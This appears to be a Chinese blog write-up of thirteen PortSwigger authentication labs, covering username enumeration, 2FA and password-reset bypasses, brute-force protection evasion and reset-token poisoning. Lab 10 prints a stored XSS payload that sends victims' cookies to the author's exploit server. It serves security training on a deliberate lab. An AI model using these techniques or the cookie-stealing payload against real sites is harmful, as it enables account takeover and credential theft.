身份验证漏洞 之 身法提升篇

前言
  至少在概念上,身份验证漏洞是一些需要了解的最简单的问题。但是,由于身份验证和安全性之间的明显关系,它们可能是最关键的。除了可能允许攻击者直接访问敏感数据和功能外,它们还暴露了额外的攻击面以供进一步利用。因此,学习如何识别和利用身份验证漏洞(包括如何绕过常见的保护措施)是一项基本技能
  这里的13道实验题目,可以从各个方面进行绕过身份验证,以不一样的姿态让你感觉到不一样的体验,原来这样也行

可以自行去练习:https://portswigger.net/web-security/authentication


1、通过不同的响应进行用户名枚举🍺

目标:面对登录界面时,枚举有效的用户名,暴力破解此用户的密码,然后访问其帐户页面

在登录界面输入账号密码,抓包

请添加图片描述

首先是对账户进行枚举,通过检查长度列,可以单击列标题对结果进行排序,请注意,其中一个条目比其他条目长,则可能就是账号,然后根据账号爆破密码即可

注意:也可以使用单个集束炸弹攻击暴力破解登录,但是,如果可能的话,首先枚举有效的用户名通常会更有效


2、2FA 简单旁路🍺

目标:即在登录账号密码后,还需要电子邮件验证码的,对这样双重身份验证的进行绕过

2FA验证码是一种安全密码验证方式,2FA是2 Factor Authentication的简称,是指双因子验证

在已经获得了有效的用户名和密码,但无权访问用户的2FA验证码,如知道自己的账号密码wiener/peter,受害者的账号密码carlos/montoya

在登录自己的账号密码后

请添加图片描述
也得到自己的邮件验证码后,返回自己的账号

请添加图片描述

记录这个URL

退出账号,登录受害者账号,到验证码这一步

请添加图片描述

将这个验证码页面的URL进行替换,将自己账号的URL https://0a2d00bb0471e5d7c0aa1f26003f007a.web-security-academy.net/my-account?id=wiener,把后面的用户名wiener改为受害者的carlos

请添加图片描述

即可绕过验证码的检验,登录别人账号


3、密码重置损坏的逻辑🍺

目标:通过改变自己的密码请求,来达到改变其他用户的密码,实质上就是利用token不进行检验

我的用户wiener/peter,受害者的用户名carlos

在登录界面选择忘记密码,点进去,输入用户名wiener

到邮箱里去点击链接,重置密码

到Burp中的http history里面找到刚刚的/foreign-password?temp-forgot-password-token这个数据报

请添加图片描述

删除前面和后面的所有token,发包,返回302,表示重定向密码正确

请添加图片描述

这里只需要将用户名改为carlos,就可以改变该用户的密码,进行登录就行

请添加图片描述


4、通过微妙的不同响应进行用户名枚举🍺

目标:与前面的用户名枚举不同的是,这里是通过错误信息(响应)不同来反映用户名

运行Burp时,提交无效的用户名和密码,将请求发送到Burp入侵者,并向username参数添加有效负载位置

在"有效负载"选项卡上,确保选中"简单列表有效负载类型",并添加候选用户名列表

在"选项"选项卡上的Grep - 提取下,单击"添加",在出现的对话框中,向下滚动响应,直到找到错误消息 Invalid username or password.,使用鼠标突出显示邮件的文本内容,其他设置将自动调整,单击"确定",然后开始攻击

请添加图片描述

攻击完成后,请注意,还有一个附加列,其中包含您提取的错误消息,使用此列对结果进行排序,以注意到其中一个结果略有不同

这是大部分的错误信息

请添加图片描述

这是其中一个不同的信息,没有了小数点

请添加图片描述

这个可能就是用户名,然后用该用户名去爆破密码即可


5、通过响应计时进行用户名枚举🍺

目标:面对一些站点防暴力破解时,可以通过改变IP进行请求,同时利用响应计时来进行用户枚举

登录界面在尝试使用不同的用户名和密码时,如果您进行了太多无效的登录尝试,可能IP将被阻止

确定标头受支持,利用X-Forwarded-For,这允许欺骗 IP 地址并绕过基于 IP 的暴力保护

继续尝试使用用户名和密码,注意响应时间。当用户名无效时,响应时间大致相同,但是当输入有效的用户名时,响应时间会增加,具体响应时间取决于输入的密码的长度,即输入的密码长度越长,响应时间越长

进行暴力破解,设置两个爆破点,同时将密码输入长一些,增加响应时间

请添加图片描述

设置有效载荷

请添加图片描述
请添加图片描述

攻击结束后,在对话框顶部,单击"列",然后选择"已收到响应"和"响应已完成"选项,这两列现在显示在结果表中

其中一个响应时间明显长于其他响应时间,重复此请求几次以确保始终需要更长的时间,然后记下此用户名

请添加图片描述

然后用该用户名进行爆破密码,攻击结束后,查找具有302状态响应(或者是不一样的响应)

请添加图片描述

输入账号密码登录成功


6、破解暴力破解保护,IP 阻止🍺

目标:利用密码暴力保护中的逻辑缺陷,来爆破用户密码

调查登录页面,请注意,如果连续提交 3 次不正确的登录,你的 IP 将被暂时阻止,但是,请注意,在达到此限制之前,可以通过登录到自己的帐户来重置失败登录尝试次数的计数器

无法使用传统的暴力破解,绕一下进行暴力,自己的用户名:wiener,受害者的用户名:carlos

用户字典

wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
//两个carlos,后带一个wiener

创建pitchfork攻击,同时设置最大的申请请求数为1,通过一次只发送一个请求,可以确保以正确的顺序将登录尝试发送到服务器

同时在编辑候选密码列表,并在每个wiener账号对应添加自己的密码,确保自己的账号密码正确登录,防止出现三次连续不正确登录


7、通过帐户锁定进行用户名枚举🍺

目标:就是登录界面存在防止用户名枚举的措施,禁止用户名爆破

选择攻击类型集束炸弹,向参数添加有效负载位置,通过单击“添加 §”两次,将空白有效负载位置添加到请求正文的末尾
username=§11§&password=11§§

在“有效负载”选项卡上,将用户名列表添加到第一个有效负载集,对于第二组,选择“空负载”类型,然后选择用于生成 5 个有效负载的选项,这将有效地导致每个用户名重复5次

请添加图片描述

进行攻击,在结果中,请注意,使用其他用户名时,其中一个用户名的响应比响应长,记下此用户名

请添加图片描述

等待一分钟以允许重置帐户锁定,请求上创建新的攻击,但这次选择狙击手攻击类型,将参数设置为刚标识用户名的密码,并向参数添加有效负载位置

请添加图片描述

在响应长度不一样的这几个里面,查看响应信息,只有一个是没有错误的,即密码


8、2FA 破碎的逻辑🍺

目标:利用已知的账号绕过受害者的密码验证,进而爆破验证码,从而登录受害者账号

  • 这里的双重验证漏洞是在于,发送电子邮件的时候可以爆破出验证码

  • 在登录我们自己的账号之后,会有一个提交验证码的过程,随便输入一个验证码,截获这个报文

  • 修改身份验证信息:将verify参数设置为carlos并向参数mfa-code设置payload

先登录自己的账号,到进行验证码的阶段,随便输入验证码,抓包

请添加图片描述

更改verify参数,改为受害者账号,将参数mfa-code进行爆破

请添加图片描述

设置攻击载荷,爆破四位的验证码

请添加图片描述

爆破后,查看响应状态码不一样的,即可利用验证码登录受害者账号


9、暴力破解保持登录的Cookie🍺

目标:登录用户在关闭浏览器会话后保持登录状态,用于提供此功能的 Cookie 容易受到暴力破解

选择保持会话状态,进行账号密码登录

到Burp的HTTP历史记录找到my-account的数据包,里面设置了个stay-logged-in的参数,并注意到它是 Base64 编码的

请添加图片描述

将该参数进行Base64解码

请添加图片描述

然后将后面部分进行md5解码

请添加图片描述

可以看到后面是密码

于是我们可以分析出stay-logged-in的结构:stay-logged-in=base64(账号:MD5(密码))

向 stay-logged-in 添加有效负载位置,并将自己的密码添加为单个有效负载

在"负载处理"下,按顺序添加以下规则,在提交请求之前,这些规则将按顺序应用于每个有效负载

  • 散 列:MD5
  • 添加前缀:wiener:
  • 编码:Base64-encode

请添加图片描述
请添加图片描述
请添加图片描述

由于"更新电子邮件"按钮仅在您以经过身份验证的状态访问页面时显示,因此我们可以使用此按钮的存在与否来确定我们是否已成功暴力破解 Cookie,在"选项"选项卡上,添加 grep 匹配规则以标记包含字符串Update email的任何响应

请添加图片描述

添加前缀规则更改为carlos:,然后进行攻击,只有一个请求返回了包含的响应,就是密码


10、离线密码破解🍺

目标:用户的密码哈希存储在 Cookie 中,利用XSS漏洞反弹受害者的Cookie,并破解他的密码

这个说是密码破解,本质上还是一个存储型XSS攻击

首先,登录自己的账户和密码,登入后,随便进入一个模块

评论区里面含有XSS漏洞,所以我们构建JS代码即可,模块如下:

<script>documnet.location='https://自己的漏洞服务器的域名'+document.cookie</script>

这样,我们就可以从自己的漏洞服务器里面窃取到对应文件的Cookie

在自己的漏洞利用服务器上,打开访问日志,受害者应该提出包含其Cookie的请求

这个时候恰好有个carlos的用户发来请求信息,截获它,注意stay-logged-in参数

分析密码,是base64(用户名:MD5(密码))的结构,先解base64在解MD5,可以得到密码为onceuponatime


11、通过中间件进行密码重置中毒🍺

目标:受到密码重置中毒的影响,用户将不小心点击他收到的电子邮件中的任何链接,构造
链接者利用X-Forwarded-Host将更改密码的token发送到自己的IP上

首先,进行登录时,选择忘记密码
请添加图片描述

然后输入已知的wiener账号,发送

根据前面的描述,我们肯定还需要一个接收受害者改密token的黑站点,那么入口就在这里了,名字叫"exploit server",里面含有日志和Email客户端

这个场景也另外已经进行了两个假设:

  • 一个是我们在这个站点上已经有个可用的账号
  • 另一个就是当我们用"carlos"发送改密申请时,"carlos"在收到改密链接后会点击

在Email客户端收到了改密码信息

请添加图片描述

链接带有特定的token,就是更改wiener的密码

添加带有漏洞利用服务器URL的标头:X-Forwarded-Host
X-Forwarded-Host: <host> 要转发的服务器的域名

添加X-Forwarded-Host,输入自己黑站点的网址,就是把改密码需要的token发送到自己的IP,同时将账号改为carlos

请添加图片描述

查看自己IP的日志

请添加图片描述

发现了改密码的token:LTzNl8tuB7g5S8wKGFhN7XM8lyLWF1Ky

将该网址的token进行替换,代表更改密码的账号是carlos的

请添加图片描述

进行访问即可更改carlos的密码

请添加图片描述


12、通过密码更改进行密码暴力破解🍺

目标:密码更改功能使其容易受到暴力攻击,致使受害者账号被暴力破解密码

我们打开页面,登录账户进去,有一个重置密码的选项

请添加图片描述

如果输入两个不同的新密码,则会出现一条错误消息:Current password is incorrect

如果您输入了一个有效的当前密码,但输入了两个不同的新密码,消息会显示New passwords do not match

利用这个点爆破密码

先登录wiener账号,将更改密码的请求包发送在 Burp Intruder 中,将username参数更改为carlos,给当前的密码添加payload,并且确保新密码参数设置为两个不同的值

请添加图片描述

在"options"选项卡上,添加 grep 匹配规则以标记包含New passwords do not match

请添加图片描述

开始攻击,根据匹配规则响应找到密码

请添加图片描述


13、暴力破解保护,每个请求多个凭据🍺

目标:由于暴力保护中的逻辑缺陷,导致可以以数组的方式爆破密码

运行Burp,调查wiener登录页面,请注意POST /login数据包,请求以JSON格式提交登录凭据,将此请求发送到重发器

将密码的单个字符串值替换为包含所有候选密码的字符串数组,如下模式

"username" : "carlos",
"password" : [
    "123456",
    "password",
    "qwerty"
    ...
]

用脚本把密码字典数据改一下

def trans_file_string_to_be_string(path):
    s = ""
    with open(path, 'r') as f1:
        list1 = f1.readlines()
    for i in range(0, len(list1)):
        list1[i] = list1[i].rstrip('\n')
    for a in list1:
        s = "\""+a+"\","+s
    file = open(path, 'w')
    file.write(s)

trans_file_string_to_be_string("password.txt")

发送请求,返回303

请添加图片描述

右键单击此请求,然后选择"在浏览器中显示响应"

请添加图片描述

复制 URL 并将其加载到浏览器中,页面将加载,并且以carlos登录身份

请添加图片描述


🍺感想:断断续续也是做了好几天,麻了麻了

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值